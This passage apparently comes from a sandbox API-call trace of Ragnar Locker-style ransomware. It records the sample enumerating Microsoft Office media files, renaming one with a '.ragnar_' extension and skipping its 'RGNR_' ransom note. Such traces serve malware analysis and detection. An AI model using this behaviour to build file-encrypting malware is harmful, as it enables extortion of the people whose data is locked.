Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0095.324] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0095.324] lstrcpyW (in: lpString1=0x1eab5c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0095.324] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0095.324] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0095.324] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0095.324] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0095.324] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2=".") returned 1 [0095.324] lstrcmpiW (lpString1="CAGCAT10.DLL", lpString2="..") returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0095.324] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2=".") returned 1 [0095.324] lstrcmpiW (lpString1="CAGCAT10.MMW", lpString2="..") returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0095.324] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2=".") returned 1 [0095.324] lstrcmpiW (lpString1="ELPHRG01.WAV", lpString2="..") returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0095.324] lstrcmpiW (lpString1="J0088542.WMF", lpString2=".") returned 1 [0095.324] lstrcmpiW (lpString1="J0088542.WMF", lpString2="..") returned 1 [0095.324] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0095.324] lstrcmpiW (lpString1="J0090070.WMF", lpString2=".") returned 1 [0095.324] lstrcmpiW (lpString1="J0090070.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0090386.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0090386.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0149407.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0149407.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0149481.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0149481.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0149627.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0149627.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0149887.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0149887.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0157763.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0157995.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0157995.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0158007.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0183168.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0183290.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0183328.WMF", lpString2=".") returned 1 [0095.325] lstrcmpiW (lpString1="J0183328.WMF", lpString2="..") returned 1 [0095.325] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0095.325] lstrcmpiW (lpString1="J0185604.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0185604.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0186002.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0186002.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0186348.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0186348.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0187423.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0187423.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0195384.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0195384.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0195534.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0195534.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0195812.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0195812.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0196164.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0196164.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0196374.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0196374.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0196400.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0196400.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0199036.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0199036.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0199283.WMF", lpString2="..") returned 1 [0095.326] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0095.326] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".") returned 1 [0095.326] lstrcmpiW (lpString1="J0199549.WMF", lpString2="..") returned 1 [0095.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0095.327] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".") returned 1 [0095.327] lstrcmpiW (lpString1="J0199661.WMF", lpString2="..") returned 1 [0095.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0095.327] lstrcmpiW (lpString1="J0199727.WMF", lpString2=".") returned 1 [0095.327] lstrcmpiW (lpString1="J0199727.WMF", lpString2="..") returned 1 [0095.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0095.327] lstrcmpiW (lpString1="J0199755.WMF", lpString2=".") returned 1 [0095.327] lstrcmpiW (lpString1="J0199755.WMF", lpString2="..") returned 1 [0095.327] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0095.327] lstrcmpiW (lpString1="J0199805.WMF", lpString2=".") returned 1 [0095.327] lstrcmpiW (lpString1="J0199805.WMF", lpString2="..") returned 1 [0095.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, 